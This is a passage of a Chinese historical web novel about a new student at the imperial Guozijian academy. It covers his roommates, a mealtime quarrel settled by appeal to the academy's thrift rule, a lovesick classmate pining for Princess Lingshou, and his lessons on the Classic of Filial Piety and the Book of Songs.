沈白蘋劝道:“不如也给郑哥送着饭?一个人吃也是吃,两个人吃更是吃。” 郑崑瑛:“这怎么使得?” 段之缙给他倒上酒:“只许你帮着我,不许我帮着你?我的饭可不是白吃的,初来乍到还得求你看顾我。” 沈白蘋也称是,夫妻两个一唱一和,把郑崑瑛劝住了。 等着酒饱饭足,再看一看时间,段之缙提好了第二天早晨的早饭拉着德润兄回了国子监。 要是第一天入监就回寝迟了,叫差役在集愆册上记了一笔下个月可就没二两银子了。 马车从住处驶到国子监街就被堵住了,前头全是学生们回国子监的马车,水泄不通,段之缙和郑崑瑛先去成衣店拿了绣好名字的衣服,又回马车上抱下东西步行至门口,也算是什么人都见了。 明明都是青色襕衫,高低贵贱却一眼分明,在最前头还有踩着“人凳”下马车的监生,段之缙吃了一惊:“不是上谕禁止踩人凳了吗?” 许是害怕段之缙声量大了,郑崑瑛推着他去了一旁。 “他是葛礼的儿子葛观澜,踩人凳又如何?他学问好,在最高一级的率性堂,但为人极其好勇斗狠,也惯会拉帮结派,比他强的全叫他逼走了,周围只有贴着他的荫生。家世上比他强的只有国舅长孙方叙墨,但方叙墨年纪小,学问也一般,为人又过于绵软,压不住葛观澜。” 葛观澜?“等会儿,他们家荫生的资格不是给了长子吗?这个葛观澜瞧起来和我们一般大啊?”葛礼和当今差不多的年纪,都是六十多岁,长子怎么可能这么小? 郑崑瑛苦笑:“老来得子,这不是又求着皇上恩赏了一个吗?” 好啊,真够爽的,老子是皇帝的奶兄弟就能平白得一个荫生的资格。 听郑兄说的话,段之缙便知这葛观澜不是省油的灯。 两个人默默无语地往里走,这才发现葛家的马车前竟还有一辆马车,那马儿再往前走两步都能进国子监了。 一个雪白面庞的娃娃脸青年身着青色襕衫站在马车旁边,生得一副温柔似水的好相貌,指挥着仆从搬下来米面粮油和一众调味用品,国子监差役就跟没看见一样任他们往里搬。 这是恢复吃食堂了? 段之缙目瞪口呆,郑崑瑛噗嗤一笑:“这就是国舅的长孙方叙墨,荫生,也在诚心堂,极为好吃,文才嘛……据说是十七岁入监,盖了七百多天的章熬上的诚心 堂。不过他人甚好,在后厨的饭经常分给贫苦的同窗。” 极为好吃倒是能理解,但是掌膳师傅已经从国子监里撤出了,难道还有讲师们为他做饭? 段之缙问郑崑瑛,郑崑瑛笑道:“别说他是国舅的长孙了,就算是皇子来也没有叫先生掌勺的道理。方叙墨不仅善吃,还擅长做饭,明儿你就能见着了。” 段之缙听着兴味盎然,来国子监里掌勺,这得是什么样的人啊? 很快他就知道是什么人了,段之缙抱着东西回到号房,里边已经有两个舍友在读书了,见他进来纷纷起身,段之缙放下书,三人相互作揖。 “在下施秉文,字章甫,家父为吏部尚书施大照。” “在下徐明宣,字晦之,家父是一等公徐自闻。” 还不等段之缙介绍,他俩一笑:“我们知道你,几年前遇难的吏部郎中段大人之子,监丞大人已经和我们说过了。你在山东的功绩我们也知道,我辈楷模。” 段之缙口称不敢:“施兄和徐兄唤我允升即可,至于山东的事情弟不敢居功,都是当时知府调度有方。” 三个人正寒暄着,外边风风火火进来一个人,手里抱着两个坛子,瞧见屋子里来了生人也不见外,眼睛笑眯成一条缝:“段哥,你吃蜜饯不吃?” 正是刚才的方叙墨。 段之缙帮着他放下坛子,装作不知的样子问道:“不敢当一声哥,兄台唤我允升即可,不知兄台如何称呼?” “方叙墨,字文渊,我该比你小几岁,你唤我文渊弟即可。” 事情明了,这一屋子人全是荫生出身,想来该是特意安排的。 宿舍里四个人都齐了,没过一会儿差役就来查寝,因这个屋子多了一个人,监丞还特意来看。 之后大家都老老实实地点着灯读书,没再多说一句。 第47章 047她演爹爹,我演娘亲 许是昨天收拾东西太累了,即便换了睡觉的地方段之缙也睡得极香甜,第二天差点醒不过来,还是徐明宣、施秉文二兄把他拖了起来,又教他叠被收拾东西。 等着大家的铺盖收拾好了,方叙墨这才起身,睡眼惺忪地抱着被子盘坐,一动不动,直到另外三个人穿衣洗漱完毕,他才慢腾腾地从炕上爬下来,把自己的被子叠好。 此时段之缙和徐明宣、施秉文已经开始吃早饭了,冷糕饼配上凉白开,吃完了就得走。 方叙墨好歹把自己的衣服都穿戴整齐,脸也不抹一把,直接吃饭。 段之缙:“文渊弟不洗漱吗?” 施秉文咬一口凝脂一般的玉带糕轻轻嘲笑:“你莫管他,他素来就是起得这样晚,硬拉着他起来还要生气,只能先吃饭,中午再回来洗漱。” 方叙墨把口里的东西咽下去:“洗漱和吃饭二选一,我选吃饭。” 吃完了早饭,最后看一眼衣冠着装,四人一块去诚心堂上课。 在路上,段之缙问了日常安排。 方叙墨道:“初一、十五上午讲课,下午考试。初三、十八上午考试。初六、十三、二十三、二十□□天讲课一天,每天监堂的先生会为我们留功课,一般是撰时文一篇,有时会写诏、诰、表、判一类文书。” 也就是说,每月讲课只有六次,“那不上课的时候做什么?” “不上课就在诚心堂中温书自学,反正一定要到堂学习。此外每日还要临摹唐宋字帖二百字,十日一交。” 他俩说着话呢,诚心堂就到了,前边的同窗排队签到,在考勤簿上盖红戳,若是没来就要盖黑戳。 大家盖完戳回到座位上,朗声诵读经文,不敢耽误片刻。其中没有郑崑瑛,想来是在隔壁的修道堂。 学堂内学生只有二十五人,有一个空座位是特意为段之缙留的,就在施秉文身旁,仍是四个人凑堆,不知是按照座位分的号房还是按照号房排的座位。 辰时一到,学正大人提着一本册子进门,先查验考勤簿,又扫视全班学生,最后眼睛定在段之缙身上,招他去西厢房讲话。 学正将手里的册子递给段之缙,“这本课程册是给你的,自行记录每日读书学习的情况,一日也不能少。每隔十日绳愆厅会有人查你们的功课,若是不好好读书可是要受罚的。” 段之缙接过册子收好,学正揉一揉眉心:“从三月开始的博士厅大讲,一共落下了三次,你要多用些功夫把功课补上。今日先生为你讲第一次大讲内容,之后每日都有助教或学录等为你讲课,直到你的功课补上。你先回去,把《孝经》拿来。” 段之缙回学堂拿了孝经,跪坐在先生面前。 “国子监的惯例,新生入学后第一次大讲,首要讲《孝经》,你可知是为何?” 段之缙想了想:“《礼记》中言:孝以事亲,顺以听命,错诸天下,无所不行。学生等或科考或廷试,即便为微末小吏也是为官,为官者更要以身作则,以孝事亲,只有如此百姓才能心服口服,顺以听命。” 学正颔首:“其一也。《孝经广扬名》一篇中说‘君子之事亲孝,故忠可移于君。事兄悌,故顺可移于长。居家理,故治可移于官。是以行成于内,而名立于后世矣。’也就是我们常说的‘忠臣必出于孝子之家’。你以为呢?” 段之缙:“学生领悟了。这大概就是先圣所言‘其为人也孝弟,而好犯上者,鲜矣;不好犯上,而好作乱者,未之有也’的道理。家即为最小的朝廷,朝廷就是最大的家,孝顺父母正如忠心君主,尊重兄长正如恭敬地对待上官。” 学正欣慰一笑:“你能想到这一点就很好,现在我们逐章讲解,希望你能有所领会……” 《孝经》也不长,不足两千余字,可学正大人真不愧是专业教书,旁征博引、侃侃而谈,从上古三代一直讲到当朝,一本《孝经》和整个儒学体系紧密相扣,表面上讲孝实际上处处都是“忠君爱民”四字,用来做国子监“开学第一课”最合适不过。 两千字的课文讲了将近两个时辰,上午的课也恰要结束,学正抽查了两处验看段之缙的听讲情况,最后问道:“十八日小考,要考时文一道,诗一篇,但你的进度还没跟上,便先不考了,博士会为你讲上一次大讲的内容。若是平日里有疑问,可以问坐堂的先生,也可以和同窗去东西两厢讨论。若无疑问便退下吧。” 段之缙行礼退下,此时外边钟声响起,正是下课了。 段之缙和舍友们去膳堂吃饭,差役们已经将各家送来的饭食放在膳堂西北角的架子上,供学生们认领。 走在路上,正巧遇见郑崑瑛,于是两个号舍八个人浩浩荡荡地去了膳堂,方叙墨有些“不寻常的本领”在身上,大家找好座位后他就带着施秉文和徐明宣去了后厨掌勺。 段之缙第一次来膳堂,见什么都新奇,左右打量着,头一个看见的就是监丞大人,身边形成一个真空带,学生问过好后连忙溜走。 早就在膳堂坐好抓纪律的监丞大人见怪不怪,目送着来来往往的学生进出后厨。国子监在吃饭方面的规矩松些,只要没在膳堂中打架斗殴,串座嬉笑一律不管。 第二个则扫到了葛观澜,如众星捧月般坐在人群中,一边吃饭眼睛还往段之缙的方向瞟,又看向后厨。 段之缙没放在心上,也看向后厨,只听见里边砍瓜切菜之声不绝,实在好奇:“德润兄,你去过后厨吗?” “去过,里边就是锅碗瓢盆一类,你若是想去便带着你一起,顺便把饭热一热。” 于是段之缙兴致勃勃地拉着郑崑瑛去了后厨热饭,方叙墨正在大显身手。 他一身襕衫,系着黑色围腰,挽袖立在榆木砧板前,青葱一样的手从水中捞起一尾活鱼,抄起擀面杖朝着鱼头一捶,刚才还活蹦乱跳的鱼就一动不动了。 开膛 破肚,刮鳞去皮,笨重的刀具在他手中竟是那般灵便,鱼身上翻花一样改好了刀,然后提起鱼尾放入清油中炸香炸透,另起一锅做糖醋口的芡水,一下子浇在鱼身上,一道香气扑鼻的糖醋鲤鱼就做好了。 做了一道菜还不行,方叙墨又起大火,把施秉文和徐明宣切的肉、菜快炒了两个小菜,正巧家里送来的酱焖肘子和榆钱饽饽都已经蒸好,段之缙和郑崑瑛的饭也已经加热完,大家用袖子包着手把饭端出去,独留方叙墨一个人在后厨。 段之缙回头问:“你还不出来吃饭吗?也就还剩下半个时辰多点了。” 方叙墨:“不急,今天晚上想吃红白鸭子三鲜热锅,现在先把汤煨上,把鸭子处理了。” 这真是把国子监当成自己家的优良品德,段之缙把菜端出去,大家也把自己的饭都摆出来,有荤有素还有咸菜,但没人动筷子,都等着方叙墨出来。 大厨终于落座了,刚才在后厨折腾了一顿,透白的皮子浮上一层红,面若敷粉,更显出一副上好的皮相,见大家都等着他十分不好意思,唇一抿露出两个小酒窝。饭桌上的气氛也活跃起来,大家的饭换着吃,段之缙最喜那道糖醋鲤鱼,外酥里嫩,酸甜口正好。郑崑瑛还是喜爱沈白蘋送来的南菜,不过倒是很爱吃方叙墨带来的榆钱饽饽。 今日方叙墨也算是见着不一样的东西了,段之缙带来的龙井虾仁几乎全入了他一个人的口,大家都吃得两眼冒光,所有菜品一扫而空,除了咸菜被重新封好留作下顿。 饭后不宜立刻走动,几人准备歇一会儿喝口水再走,可休闲的时间总是短暂,偏偏有不长眼色的人来打扰。 说笑间,方叙墨身边冷不丁坐下一个人,段之缙还觉得眼熟呢,那人笑着开了口:“文渊弟,我父亲说端王要给灵寿郡主选婿,你听说了吗?” 段之缙还没听明白怎么回事儿,那人接着说道:“灵寿郡主年满十五,也该出阁了,不知端王想要什么样的女婿。不过……我想总不会是整日钻研油盐酱醋一类的人。” 徐明宣杯盏一放,冷笑一声:“刘鉴山,你好大的胸怀,替端王打算上了。端王要选什么样的女婿还得和你商量吗?” 刘鉴山被嗔也不见恼:“徐明宣,你急什么?端王如何打算也打算不到你我的头上。自然要世卿世禄的大家里生养出的文武双全之子,你我算得了什么?” 徐明宣和刘鉴山一句顶着一句地说,还分出两分心神给监丞大人,声量放得极低,脸上亦带笑容,仿佛不是在吵架。 段之缙听了一阵才恍然大悟,是端王长女要选未婚夫一事。不过刘鉴山和此事有何干系,他来挑衅方叙墨作甚? 段之缙往四周看去,眼珠盯住葛观澜那一桌,心慢慢沉下。 葛观澜身边空了一个位置,那一群人都有说有笑地看着这边,尤其是葛观澜,十分自得。 再看看方叙墨,这不争气的先是被灵寿郡主选婿的事情吓掉了茶杯,又被村得捧着空碗落泪,愣是一句话也没怼回去,全靠旁人替他说话。 怪不得凭着一个好家世,压不住葛观澜。 这场闹剧也该到此为止,再多说一句,方叙墨就要把自己哭死了。 段之缙回头看了一眼葛观澜的桌子,冷不丁问道:“兄台你吃完饭了吗?” 这一桌人都愣住,刘鉴山更觉莫名其妙:“自然。” 段之缙哼笑,直接举手喊道:“监丞大人,有人违反学规!” 监丞细眉蹙成一道,提起戒尺走了过来,发现是段之缙在告状,偏头一笑:“原来是你啊?说吧,是谁违反学规了,若是诬告我可不客气。” 段之缙起身行礼:“敢问大人,我国子监学规中可是说‘尚节俭以惜财用’?” 李文翰点头:“正是十六条学规之一。” 段之缙的手遥遥指向那人吃饭的位置,尚未收拾的杯碗中还剩了半碗米,他肃声道:“一粥一饭,当思来处不易;半丝半缕,恒念物力维艰。刘鉴山如此浪费,是不是违反了学规?” 李文翰回头一看:“这……” 虽然话是如此说的,但这些贵族子弟,把粮食全吃完了才叫人奇怪,以往也没有追究过此事。 段之缙接着道:“若是大人觉得一粒米也不该浪费,那就说明刘鉴山违反学规。若是大人觉得白花花的粮食扔了便扔了,也算不得什么,学生无话可说。” 李文翰做监丞也有几年,什么样的达官显贵之子没惩治过,更何况是刘鉴山,颔首道:“的确是违反了学规,只是……”只是以前没有如此罚过,也没有和祭酒大人商讨过浪费粮食如何惩罚。 李文翰还在琢磨,段之缙无心叫监丞为难,再加上要确认是不是和葛观澜有关,袍子一撩跪下:“学生想为刘鉴山求情。虽说此举的确违反学规,但之前也并无明确警告过弟子们,若是突然惩戒则无根据,请大人先记下这次,若下次再犯则并罚。” 李文翰觉得这样也好,具体如何要和祭酒、司业两位上官商讨,便允了段之缙之请,叫这位不速之客该干嘛干嘛去。 刘鉴山不见气恼,跟大人认错后回到葛观澜身边,与他耳语,葛观澜朝向这边轻蔑一笑,将餐桌收拾干净后领一众人离开。 果然和葛观澜有关,他倒是聪明,偏生叫旁人来做这出头鸟,自己躲在后边看热闹,恐怕也动了娶郡主的心思。 一切恢复如常,徐明宣叹气道:“允升为何不将他谈论郡主婚事的不敬之举告诉监丞?” 段之缙摆摆手:“大庭广众之下,还是不要用郡主婚嫁之事说嘴了。”端王养活的第一个孩子,要是叫他知道了,大家一块吃瓜落。再者看方叙墨哭哭啼啼的样子,保不准对郡主有情,用郡主做借口告状,只会叫他更伤心。 “那何必再替他求情?” 段之缙从身上掏出帕子递给方叙墨,顺口说道:“因为监丞大人也不知如何惩治啊。看他们剩的那些饭食便知,之前应当是没有这样的规矩,与其叫监丞大人难做,倒不如我自己提出来。” 大家都赞他心思灵敏,方叙墨擦干脸失魂落魄地回了号房洗漱,还是徐明宣几个帮他把餐具洗干净摆回原处。 回诚心堂的路上,郑崑瑛跟在段之缙身旁,话在嘴边好几次终于说了出来:“你何必去得罪葛观澜,他父亲可是葛礼。” 段之缙眼珠一转,开起了玩笑:“我没爹的不怕有爹的,若是他想通过找我爹的麻烦叫我服软,那就去吧。大家都是荫生,我还是难荫,有甚好怕的。” 爹死了就是比爹活着好用,更何况段成平在明面上也算是“为国捐躯”,国子监的先生怎么好难为他,便是葛礼想要为子出气,他难道还能在天子脚下买凶杀人吗? 反正临放假之前大家都出不去,下个月端午节放假自己就去找秦先生告状,让先生告诉端王,谁背后还没几个人了。 郑崑瑛笑他不正经,几步路的功夫就回了学堂,方叙墨也从号舍中回来,趴在桌子上失神,眼里泪汪汪的,向段之缙道一声谢,便陷入自己的世界里无法自拔,直到被学正大人一戒尺拍醒,原来是下午上课时间到了。 段之缙先温习了《孝经》的内容,一字一句地理解背诵,然后又拿出之前购入的《幕学举要》,虽说是为幕僚准备的书籍,可因幕僚有写诏、诰、表、判的职业要求,因而书中对此讲解很细,作为写作入门十分恰当,之后自己还可求教于德润兄。 倘若专心做某事,时间便过得格外快,一眨眼就敲了钟,坐堂的学正留下功课离开,学生们也起身收拾,仍是中午的几个人凑在一处,大家往膳堂中走。 方叙墨心不在焉,切菜时差点切了手,原本要打算要做的红白鸭子三鲜热锅也没做,双目失神地坐在膳堂里,一眨眼就是一颗泪珠子。 大家都默默吃饭,怕牵动了他的愁肠,谁也不敢说一句。 等回了号房,方叙墨还是那副三魂没了七魄的模样,时文写一笔没了第二笔,大字描一画没了第二画,又对着月亮长吁短叹,倒把查房的差役吓了一跳,生怕这贵公子病了。 的确病了,害的是相思病,欠的是风流债。 做出这般小儿女之态,定是对郡主动情了。不知他如何见的郡主。 …… 夜 沉沉,灯昏昏,段之缙将与周公下棋,半明半寐之间,闻得一声极轻的啜泣声,在万籁俱寂的晚间,吓得段之缙汗毛倒竖,忽地反应过来,是方叙墨的声音。 这下段之缙睡不着了,仰面朝上,睁眼等着方叙墨哭累入睡,那抽泣声却如深秋里被装在空药罐里的蟋蟀叫声一般,颤巍巍,冷戚戚,酸倒人的后槽牙。 另外两个人倒是好功夫,睡得呼呼作响。 段之缙起身把挂着两个肿眼泡的方叙墨叫出去,两个人坐在月亮的清辉中,一时无言。 手指头在地上画啊画,段之缙先开了口:“你……喜欢灵寿郡主?” 不问还好,一问,方叙墨的泪就如断了线的珠子,呜咽悲泣之声不绝。 就多余问这一句。 “你喜欢她,何不跟国舅大人说呢?叫国舅向陛下请婚。” 方叙墨黑如点漆的眸子浸在一汪水中,哽咽着开了嗓:“我跟祖父说了,可是陛下说灵寿郡主的婚事他不管,叫端王自己决定,之后便没了回信。现在刘鉴山都知道端王在选婿了,祖父和父亲却没有告诉我,定是觉得端王看不上我。” 段之缙讪笑,若是自己的闺女要嫁给这样的男子,心里也不甚情愿。 纪禅从十四岁开始生育,到十七岁才活下来第一个孩子,正是灵寿郡主。倘若不利用她的婚事拉拢朝臣,定然要为她选一个顶顶好的夫婿。 段之缙抚着方叙墨的背为他顺气,安慰道:“文渊弟,天涯何处无芳草,凭你的家世,想来国舅大人也早有打算。郡主是天上的月亮,得不到才是常事,何必这般呢?” 方叙墨一方帕子又擦眼泪又擤鼻涕,“你不知道,郡主和我都是从小养在皇后娘娘身边,我们五六岁的时候就扮家家酒,她演爹爹,我演娘亲……”? 段之缙以为他是伤心糊涂了,也没有纠正,默默把二人的身份调换,之后越听越不对劲,感情真是“她演爹爹,我演娘亲啊”! 之后段之缙便听了一耳朵的郡主如何如何英勇,拉八力大弓,射猛虎于林间,只恨自己入国子监求学不能再见郡主一面。 第48章 048灵寿郡主 方家为钟鸣鼎食之家,各房从文从武的子弟都有,又出过几任皇后,既有铁打的功业,又拽着宫廷的裙带,家中的小子出入宫闱如同进出自己家一般。 尤其是方叙墨,祖父是中宫亲弟,长房长孙,脸上奶膘还没下的时候就送入宫中由皇后照看,占尽了天时地利。 可个人有个人的脾性,方叙墨自小就是棉花团一般的性子,中宫溺爱,读书也惫懒,其父方觉还指望着这个儿子顶门立户呢,总是恨铁不成钢。 这时候的父母奉“不打不成器”为金圭玉臬,父子见面仿佛猫见鼠,非打即骂,幸得国舅宝贝这个嫡长孙,倒是把自己的大儿子赶了出去。 可先有慈长溺爱,又有严父在后,一惊一吓把方叙墨弄成了患得患失的性子,功课上也懒惰。 之前他求祖父向皇上请旨,祖父自然是无有不应,他们家的家世配上灵寿郡主也是亲上加亲,再和美不过,方觉却嗤笑此子“痴心妄想”,怎么不摸摸自己的脸皮,灵寿郡主要什么样的夫婿没有,端王怎么能瞧上他? 方叙墨本来就知自己的水平,又被方父训斥,也觉自己是癞蛤蟆想吃天鹅肉,今天又被刘鉴山阴阳怪气一番,越想越觉得前途一片晦暗。 方叙墨幽咽不绝地诉说,把心里的苦水都倒净了,段之缙叹一口气给孩子擦眼泪,问道:“灵寿郡主喜欢你吗?” 方叙墨抽泣一声,“我……我不知道……她之前绣坏了的荷包送给我,算是讨厌我还是喜欢我?” “郡主送你荷包时说了什么吗?” “郡主说是给端王绣荷包,绣坏了拿不出去手,就给我了。” 女儿家亲手绣的荷包,若不是给长辈,就是给夫婿,断不会轻易给外男,即便是绣坏了也不成。 也许灵寿郡主就喜欢方叙墨这种温柔小意又美貌活泼的男孩。 且表哥配表妹,亲上加亲再合适不过,只要端王没打算借着女儿的婚姻谋取什么,方叙墨也算是良人,最重要的是郡主喜欢。 段之缙安慰道:“虽说方大人觉得你没希望,我却觉得你甚好。” 方叙墨埋在腿中脑袋抬起来,泪眼朦胧地看着段之缙,段之缙接着道:“你自幼和郡主相识,又是郡主表兄,对郡主痴心一片,便是不如其他世家子弟文武双全又如何?长房长孙,国舅大人的爵位也不能给别人,少了谁也不会少了你。” “再者,婚姻大事,结两姓之好,你方家本就多娶宗室女,如今迎郡主更合理。何况婚姻又不是科举考试,要你文武双全又能如何?能伺候好郡主才是真的。” 理是这么个理,“可自古婚姻大事,父母之命,媒妁之言,郡主婚事本来是陛下做主,但现在陛下交给了端王,端王定然看不上我。” 段之缙瞧他妄自菲薄的样子失笑:“你既知端王瞧不上你,理应更加刻苦才是,难道要自怨自艾,眼睁睁看着郡主嫁与旁人吗?还是说你对郡主的喜欢也就是嘴上功夫,实则不能为她做任何事?” 方叙墨咬牙:“便是要我为她上刀山下火海也愿意!可我……我总是担心做不好。”他有时也想努力一番,可想到父亲骂他一事无成,又觉得自己的确什么也做不好,便干脆放弃了。 “千里之行始于足下,若你畏手畏脚,连第一步都不敢迈,我劝你还是不要说喜欢郡主的话了。”段之缙提议道:“你若是愿意,我俩便结成学伴,我补前两个月落下的功课,你补前两年落下的功课,如何?” 方叙墨怎会不愿意,心中升起无限豪情壮志,当即应下。 聊天聊了大半夜,再回去睡觉也难入眠,干脆就在清冷的月光下坐着,叫春日微凉的夜风拂过脸,把泪水吹干。 也算是偷得浮生半日闲。 “谁在那儿!” 远远的,一声突如其来的暴呵带着兵戈碰撞的声音将二人吓得抱头鼠窜,跑了半程突然停下,想起自己并非是蟊贼,而是正经的学生,刚要转头,后脖领便被揪住。 穿着公服的差役把他俩转过来“审问”:“你们从哪来的?” 段之缙回道:“国子监的学生,有心事睡不着,出来谈谈心。” 两个领头的差役面面相觑,最后叫一个人去南房请监丞大人来处置。 李文翰在睡梦中被唤醒,迷迷糊糊听得差役来报捉到两个半夜不睡觉晒月亮的学生,不知如何处置。 监丞半瘫在床上醒了会儿神,这才打起精气神穿上官服,趿拉着布鞋赶往号房,定睛一看,又是段之缙。 他苦笑一声:“又是你……你进来两天,和我说的话比进来两年的学生都多。说吧,这次又是怎么回事儿?还有,怎么穿着亵衣就往外跑,像什么样子?” 段之缙挡在方叙墨身前,“学生有些功课有疑问,请教文渊弟,因另两个同窗已经睡了,这才出来问。” 李文翰眉毛一挑,心下暗笑。 别以为他是监丞不管教学就不知每一个学生的水平,这内班一百五十人并外班一百二十人的成绩都刻在他的脑子里呢,方叙墨嘛……流水的考试铁打的三等,水平相当稳定。 这小子睁眼说瞎话呢! 但瞅一瞅方叙墨桃儿一样的眼泡,有些事儿睁只眼闭只眼也就过去了,因此只厉声警告道:“晚间是不许出来的,再有下次可就给你们记在集愆簿上了!”暗示这次暂且放过了他们。 本以为这两人能见好就收,结果段之缙“得寸进尺”,朝着李文翰一拱手:“若学生等想要夜读又应当往何处去呢?” “在号房中。” “可号房中同窗们俱要休息,这样恐会打扰了他们。大人,学生们能否在堂中读书,用完功后再回号房?” 这的确是个问题。四人一宿,众生的起卧时间不同,有乐意挑灯夜读的,也有想早起晨读的,若能放他们去堂中自然好,可这般不利于国子监管理学生。 李文翰想了想:“这我做不了主,明日和祭酒 大人商讨后再给你答复。现在回去睡觉。” 段之缙乖巧应下,带着方叙墨回去会见周公。 许是熬夜熬得太狠,即便早起也不觉得过分困倦,方叙墨倒是想拖一会儿,段之缙说了一声郡主便仿佛打了鸡血般冲起来,二话不说洗漱吃饭,两个人跑着去了诚心堂学习,留徐明宣和施秉文目瞪口呆,不知方叙墨中了什么邪。 今日有些奇怪,同窗一个个进来,盖完戳后却无什么心思读书,一反常态地交头接耳、窃窃私语。 “你昨晚上听见了吗?” “你是说……” “有人在哭!” “可咱们这里有谁能半夜哭啊……真是人吗?” “呸呸呸!子不语怪力乱神,许是昨日风大,风声在呜咽。” 可紧跟着有人反驳,“我听见有差役喊‘谁在那儿’,可紧跟着就没声了,倘若是人,也该有后声啊!” 讨论声音越来越大,两个罪魁祸首缩着脑袋埋头读书,直到博士万绍庭进来,轻咳一声,诸生立刻寂静无声。 “今日四月十八,试一试你们的学问。”语罢,一张张卷纸发下,单独跳过了段之缙。 “四书文一篇,题为‘色难有事’,五言八韵诗一首,题为‘天地位焉’,上午钟响前交上。” 说完,万绍庭走到段之缙身边,敲敲他的桌子叫他带着《诗经》出来。 万绍庭的手搭在太师椅的扶手上,袖边带了一点松烟墨的墨痕,手里握着一本《诗经》,书页在指间慢慢翻动。 “你是叫……” “学生段之缙。” 万绍庭便叫他跪坐在自己身边,先问昨日讲课的内容,段之缙如实说了。 “验一验你昨日学的东西。”他略作思考,从《开宗明义》中选了一句话,“‘夫孝,始于事亲,中于事君,终于立身’,如何解?” 段之缙虽没有将《孝经》全篇背的滚瓜烂熟,但也记个七七八八,其文句含义倒是记得比较全面,也深入思考过,此时不说是胸有成竹,但绝不会叫博士蹙眉。 “此三阶为孝道修行之纲目。奉养双亲以尽人子本分是基本;将孝心推及君主,尽忠职守如事父则比前事亲更高一筹;至终境则须修身立德,使父母得显荣于天地。这三种境界犹如登阶,由私及公,方为至孝。” 万绍庭颔首,又补充道:“你懂这个道理,还应该想到《礼记祭仪》中的‘居处不庄,非孝也;事君不忠,非孝也;莅官不敬,非孝也;朋友不信,非孝也;战阵无勇,非孝也’,‘孝’之一字,非仅事父母,也非停于君王。” “学生受教了。” 万绍庭又问道:“你是刚出孝期,我要问你,守孝期间你都如何做的?” “学生谨依《礼经》而行。结庐墓侧,晨昏炷香,斩衰三年,不御酒肉、不闻丝竹。然守制期间亦未废学,以‘毁不灭性’自警,恐陷《檀弓》所讥‘哀毁过情’之弊。” 儒家所倡导的“致中和”既是一个哲学思想,更是政治和人生的准则,即便孝期守制也要做到“哀而不伤”,虽然内心因为丧父而痛苦,但也要控制情绪,不能毁伤身体,正与政治上的“过犹不及”相适应,这也是万绍庭满意的答案。 “很好,守制之理就在‘哀而不伤’四字上,你能明白这一点就很好。现在我们开始讲诗经。” 万绍庭先叫段之缙诵读《鹿鸣》一诗,便按照正音、训诂、明理、致用四步讲解,先纠正发音,然后解释其字词真意,最后讲其句意,讲《鹿鸣》中的瑟笙谐鸣正如君臣相得。 虽讲一篇,实则讲无数篇,教给段之缙的是学《诗》的方法。 讲完《鹿鸣》,万绍庭又命段之缙以《毛诗正义》和《御纂诗义》为工具书自学,一首一首地指导,直到他将学诗的步骤了熟于心,这一上午的讲解才算结束。 万绍庭叫他起身,似玩笑般说道:“入学晚自然有入学晚的好处,若在博士厅大讲,也难在细枝末节之处给你指导。” 段之缙躬身一拜:“学生谨谢先生。” 万绍庭摆手,带着他一起回去,堂中同窗仍在奋笔疾书,段之缙则默默学诗,直到钟响收卷。 诸生向博士行礼,博士走后立刻响起了热火朝天的讨论声,段之缙眼睁睁看着方叙墨的脸变白。 他拽着段之缙的袖子,“坏了,我刚才那首试帖诗似乎写跑题了。” 方才试帖诗的题目是“天地位焉”,语出《礼记中庸》,原句为“致中和,天地位焉,万物育焉”,意指天地就在“中和”二字中,万物也由“中和”二字孕育。 段之缙问道:“你解了什么?” 方叙墨愁眉苦脸:“解成《禹贡》了。” 《禹贡》是解地理位置的书,段之缙听此也是哭笑不得,瞧着方叙墨自己也懊恼非常,安慰道:“这不正好?接下来你就好好巩固《礼记》。” 几个人一块去膳堂,昨天郑崑瑛号舍的人仍是同他们一起。 因为方叙墨已经下定决心“改过自新”,今日中午这顿就是最后一次下厨,把昨日没做的“红白鸭子三鲜热锅”做了,众人美美吃了一顿,这一次没有旁人打扰,休息好后便回了诚心堂读书,期间监丞李文瀚特意来宣布了新的学规。 “圣上为国子监颁布的十六条学规言‘尚节俭以惜财用’,你们吃的每一粒粟米,每一口饽饽都来之不易,因而日后所带三餐,限于吃饱吃完,若有可避免之浪费则记过一次。再者,有学生提出号舍夜读不便,现在晚间六堂开放,若要留堂读书,可以在戌时前于夜读簿上盖戳。子时之前必须回到号舍。” 监丞将夜读簿留在案上,又去了别的学堂。 钟响,下课,段之缙落下的课程不少,自然要留下夜读,方叙墨落下的更多,连“天地位焉”也解错了,怎能不挑灯夜读,徐明宣与施秉文见他二人不回去,也没了回去的心思,自然留下夜读,最后诚心堂一共留下十六人,衬着一点莹莹的灯光读书,又赶在子时之前回去。 每一排号房前都有差役拿着夜读簿查对人数,确保每一个学生都回了号房。 …… 国子监中方叙墨为了灵寿郡主奋发图强,灵寿郡主纪明玥也为自己的婚事急得不行,整日腻在王妃的院子里,就为探听到消息。 今日端王妃见过王爷归来,纪明玥立刻蹭到母妃身边询问。 “母亲,可是定下了?” 王妃点点她的鼻子,“凭一个大姑娘不知羞,怎么成天问这个?” “我的终身大事,我不问谁问?父王说什么了没有?” 王妃叫嬷嬷给自己斟茶,慢悠悠呷一口,“我看你父王的意思是不成的,方叙墨这样的男孩儿他瞧不上眼。” 纪明玥恼地呸了一声,“他瞧上谁他自己去,我就瞧上了方叙墨!就要嫁给他!” 王妃一把捂住她的嘴:“我的儿,真是把你惯坏了……千万别在你父王那儿做出这幅姿态,他吃软不吃硬,你愈恼,他比你更恼,到时候闷不做声地给你选了夫婿,再向皇上请旨,我问你是嫁还是不嫁?” 纪明玥冷笑一声:“我自然嫁,嫁过去把人家折腾得鸡飞狗跳,我丢尽他的脸!” 王妃真是怕了这个乖张的冤家,又因她口出狂言心烦,连声叫她往外滚,别在眼前晃悠。 纪明玥敷衍地施礼告退,回去扑在床上哀叹。 身边的丫头素蘅凑上来出主意:“王爷和王妃也是疼爱主子 ,这才不满意方公子。实在不行,主子也学外间那一哭二闹三上吊的把戏,吓一吓王爷,王爷定然舍不得。” 纪明玥翻一个身从床上起来,冷笑道:“知女莫若父,我寻死觅活他定是不信的。等着吧,就跟那熬鹰一样,看我俩谁熬得过谁……” 第49章 049叫你进国子监当红郎的吗? 方叙墨身弱多思,一边为了郡主刻苦读书,一边一得空闲便要胡思乱想,半夜里做梦都是郡主嫁与旁人,段之缙教他把时间安排的满满当当,一丝空闲不得,一沾枕头便入睡。 一个号房的三个同窗,见方叙墨如此用功,躺在炕上也浑身皮痒,干脆陪着方叙墨一起,四人如此刻苦勤学,另诸生侧目,纷纷行动起来,监丞大人倍感欣慰,看来这学规改的不错,学生们刻苦比以往更甚。 很快到了五月初一日,祭孔,行释菜礼。 